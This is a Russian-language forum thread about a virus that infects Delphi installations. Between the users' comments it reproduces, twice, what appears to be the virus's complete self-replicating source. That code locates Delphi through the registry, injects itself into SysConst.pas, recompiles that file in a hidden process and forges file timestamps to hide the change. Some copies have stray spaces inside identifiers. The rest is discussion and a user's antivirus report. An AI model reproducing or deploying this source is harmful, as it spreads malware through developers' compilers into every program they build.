Delphi-“вирус” проверьте свою установленную Delphi!

[Alex Cones]

в нем нет ни одного комментария.

С чего вдруг в вирусе должны быть комментарии?

И нормально в нем все в разделе Var:

var sc:array[1..24] of string=('uses windows; var sc:array[1..24] of string=(',
'function x(s:string):string;var i:integer;begin for i:=1 to length(s) do if s[i]',
'=#36 then s[i]:=#39;result:=s;end;procedure re(s,d,e:string);var f1,f2:textfile;',
'h:cardinal;f:STARTUPINFO;p:PROCESS _INFORMATION;b:boolean;t1,t2,t3:FIL ETIME;begin',
'h:=CreateFile(pchar(d+$bak$),0,0,0 ,3,0,0);if h<>DWORD(-1) then begin CloseHandle',
'(h);exit;end;{$I-}assignfile(f1,s);reset(f1);if ioresult<>0 then exit;assignfile',
'(f2,d+$pas$);rewrite(f2);if ioresult<>0 then begin closefile(f1);exit;end; while',
'not eof(f1) do begin readln(f1,s); writeln(f2,s); if pos($implementation$,s)<>0',
'then break;end;for h:= 1 to 1 do writeln(f2,sc[h]);for h:= 1 to 23 do writeln(f2',
',$$$$+sc[h],$$$,$);writeln(f2,$$$$+sc[24]+$$$);$);for h:= 2 to 24 do writeln(f2,',
'x(sc[h]));closefile(f1);closefile(f2);{$I+ }MoveFile(pchar(d+$dcu$),pchar(d+$b ak$',
')); fillchar(f,sizeof(f),0); f.cb:=sizeof(f); f.dwFlags:=STARTF_USESHOWWINDOW;f.' ,
'wShowWindow:=SW_HIDE;b:=CreateProc ess(nil,pchar(e+$"$+d+$pas"$),0,0,f alse,0,0,0,',
'f,p);if b then WaitForSingleObject(p.hProcess,INFI NITE);MoveFile(pchar(d+$bak$),',
'pchar(d+$dcu$));DeleteFile(pchar(d +$pas$));h:=CreateFile(pchar(d+$bak $),0,0,0,3,',
'0,0); if h=DWORD(-1) then exit; GetFileTime(h,@t1,@t2,@t3); CloseHandle(h);h:=',
'CreateFile(pchar(d+$dcu$),256,0,0, 3,0,0);if h=DWORD(-1) then exit;SetFileTime(h,',
'@t1,@t2,@t3); CloseHandle(h); end; procedure st; var k:HKEY;c:array [1..255] of',
'char; i:cardinal; r:string; v:char; begin for v:=$4$ to $7$ do if RegOpenKeyEx(',
'HKEY_LOCAL_MACHINE,pchar($Software \Borland\Delphi\$+v+$.0$),0,KEY_REA D,k)=0 then',
'begin i:=255;if RegQueryValueEx(k,$RootDir$,nil,@i, @c,@i)=0 then begin r:=$$;i:=',
'1; while c[i]<>#0 do begin r:=r+c[i];inc(i);end;re(r+$\source\rtl\sys\S ysConst$+',
'$.pas$,r+$\lib\sysconst.$,$"$+r+$\ bin\dcc32.exe" $);end;RegCloseKey(k);end; end;',
'begin st; end.');

||
\/

var 
 sc:array[1..24] of string=
('
uses 
 windows; 
var 
 sc:array[1..24] of string=
(',
'function x(s:string):string;
var 
 i:integer;
begin 
 for i:=1 to length(s) do if s[i]',
'=#36 then s[i]:=#39;
 result:=s;
end;

procedure re(s,d,e:string);
var f1,f2:textfile;',
'h:cardinal;
f:STARTUPINFO;
p:PROCESS _INFORMATION;
b:boolean;
t1,t2,t3:FILETIME;
begin',
'h:=CreateFile(pchar(d+$bak$),0,0,0 ,3,0,0);
if h<>DWORD(-1) then begin CloseHandle','(h);
exit;
end;
{$I-}
assignfile(f1,s);
reset(f1);
if ioresult<>0 then exit;
assignfile','(f2,d+$pas$);
rewrite(f2);
if ioresult<>0 then 
begin 
closefile(f1);
exit;
end; 
while','not eof(f1) do 
begin 
readln(f1,s); 
writeln(f2,s); 
if pos($implementation$,s)<>0','then break;
end;
for h:= 1 to 1 do 
writeln(f2,sc[h]);
for h:= 1 to 23 
do writeln(f2',',$$$$+sc[h],$$$,$);
writeln(f2,$$$$+sc[24]+$$$);$);
for h:= 2 to 24 do 
writeln(f2,','x(sc[h]));
closefile(f1);
closefile(f2);
{$I+ }
MoveFile(pchar(d+$dcu$),
pchar(d+$b ak$',')); 
fillchar(f,sizeof(f),0); 
f.cb:=sizeof(f); 
f.dwFlags:=STARTF_USESHOWWINDOW;
f.' ,'wShowWindow:=SW_HIDE;
b:=CreateProcess(nil,pchar(e+$"$+d+$pas"$),0,0,f alse,0,0,0,','f,p);
if b then WaitForSingleObject(p.hProcess,INFINITE);
MoveFile(pchar(d+$bak$),','pchar(d+$dcu$));
DeleteFile(pchar(d +$pas$));
h:=CreateFile(pchar(d+$bak $),0,0,0,3,','0,0); 
if h=DWORD(-1) then exit;  
GetFileTime(h,@t1,@t2,@t3); 
CloseHandle(h);h:=','CreateFile(pchar(d+$dcu$),256,0,0, 3,0,0);
if h=DWORD(-1) then exit;
SetFileTime(h,','@t1,@t2,@t3); 
CloseHandle(h); 
end; 
procedure st; 
var 
k:HKEY;
c:array [1..255] of','char; 
i:cardinal; 
r:string; 
v:char; 
begin 
for v:=$4$ to $7$ do if RegOpenKeyEx(','HKEY_LOCAL_MACHINE,pchar($Software \Borland\Delphi\$+v+$.0$),0,KEY_REA D,k)=0 then',
'begin i:=255;
if RegQueryValueEx(k,$RootDir$,nil,@i, @c,@i)=0 then 
begin 
r:=$$;
i:=','1; 
while c[i]<>#0 do 
begin 
r:=r+c[i];
inc(i);
end;
re(r+$\source\rtl\sys\S ysConst$+','$.pas$,r+$\lib\sysconst.$,$"$+r+$\ bin\dcc32.exe" $);
end;
RegCloseKey(k);
end; 
end;',
'begin st; 
end.');

Я понял, почему Вы не можете понять. Возможно вы не знаете, что

Const
A = 'blablabla';

Можно записать как

Var
A : String = 'blablabla';

Будет чуть, чуть другое, но тоже прохляет.

[bitSoft]

а я согласен с Алех на 100%
етот код бил декомпилирован , с чего в друг комментарии, так в разделе var где

var sc:array[1..24] of string=('u ......

, эдесь проста написан код оригиналиного фаила..
P.S извините эа транслит...

[docbrain]

Интернет блин, в своем репертуаре. Тупо копипастит материалы, не озабочиваясь даже их минимальным осмыслением.

[Negodjaev]

Если есть, настоящие программисты гляньте тему и подскажите…
Форум программистов > Клуб программистов > Обсуждение программ >
Народ есть кто понимает в программировании…. Возможно не сразу но отвечу всем….

[CraftR14]

Вот и я заразилсо индюшкой )))))
Замочил сразу)

[Пепел Феникса]

docbrain, блин, да кто копипастит?
это вирус, просто его код на Делфи а не сорцы именно, он мог быть вообще написан через асм бинарник, и придерись тут.

[Object Kiri]

Вирусы пишут те, кто не в состоянии написать нормальную программу.

[bitSoft]

Сообщение от Object Kiri

Вирусы пишут те, кто не в состоянии написать нормальную программу.

soglasen na vse sto,
pishut i te katorie sidit 24/24 na komputere i neznaet shto takoe narmalinoe jizni, i shto takoe biti haroshii.

[Пепел Феникса]

Сообщение от Object Kiri

Вирусы пишут те, кто не в состоянии написать нормальную программу.

не согласен, не думайте что норм вирус это так просто

[Roof]

Сегодня утром писал программку на форум и был удивлен радостному сообщению моего антивируса (COMODO)



Данное сообщение антивируса появляется при компиляции и запуске проекта и в данном случае только при использовании Rewrite и Writeln в процедуре TForm2.Button2Click(Sender: TObject);(в любой подобной процедуре)

если же Rewrite и Writeln закомментировать - компилируется и запускается нормально.
Просматривал SysConst.pas по руководствам в интернете - ничего похожего на "тот вирус" не обнаружил у себя.
Я так и не разобрался, что за новости такие, и как от них избавляться.